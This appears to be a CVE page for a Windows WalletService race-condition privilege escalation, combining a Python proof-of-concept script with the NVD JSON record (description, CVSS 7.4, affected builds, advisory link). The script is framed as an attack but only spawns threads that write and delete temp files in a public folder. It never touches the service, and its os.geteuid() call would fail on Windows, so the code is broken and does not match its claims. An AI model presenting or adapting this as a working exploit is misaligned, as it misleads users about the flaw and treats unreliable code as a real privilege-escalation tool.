CVE-2026-20853

# CVE-2026-20853 PoC - Windows WalletService Race Condition # This PoC demonstrates the race condition in WalletService # Note: This is for educational purposes only import os import sys import threading import time import subprocess def trigger_race_condition(): """ Attempt to trigger race condition in WalletService by creating concurrent access patterns """ print("[*] Initiating race condition attack against WalletService...") # Step 1: Identify WalletService process try: result = subprocess.run( ['tasklist'], capture_output=True, text=True ) if 'WalletService' in result.stdout: print("[+] WalletService process found") else: print("[-] WalletService not running") return False except Exception as e: print(f"[-] Error identifying service: {e}") return False # Step 2: Create concurrent threads to trigger race condition threads = [] for i in range(10): t = threading.Thread(target=concurrent_operation, args=(i,)) threads.append(t) t.start() # Step 3: Wait for threads and check result for t in threads: t.join() print("[*] Race condition attempt completed") return True def concurrent_operation(thread_id): """ Perform concurrent operations to trigger race condition """ try: # Create rapid file system operations temp_path = f"C:\\Users\\Public\\Documents\\wallet_temp_{thread_id}.dat" # Rapid create/delete operations for _ in range(50): try: with open(temp_path, 'w') as f: f.write('malicious_data') os.remove(temp_path) except: pass time.sleep(0.001) # Minimal delay to increase race probability except Exception as e: print(f"Thread {thread_id} error: {e}") def check_privilege_escalation(): """ Check if privilege escalation was successful """ try: result = subprocess.run( ['whoami', '/groups'], capture_output=True, text=True ) if 'BUILTIN\\Administrators' in result.stdout or 'NT AUTHORITY\\SYSTEM' in result.stdout: print("[+] Elevated privileges detected!") return True else: print("[-] No privilege escalation detected") return False except Exception as e: print(f"[-] Error checking privileges: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-20853 PoC - WalletService Race Condition") print("=" * 60) if os.geteuid() != 0: print("[*] Note: This exploit requires local access") trigger_race_condition() check_privilege_escalation() print("[*] Analysis complete")

{"cve": {"id": "CVE-2026-20853", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:13.990", "lastModified": "2026-01-15T13:28:14.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows WalletService allows an unauthorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Ejecución concurrente usando un recurso compartido con sincronización inadecuada ('condición de carrera') en el servicio WalletService de Windows permite a un atacante no autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20853", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}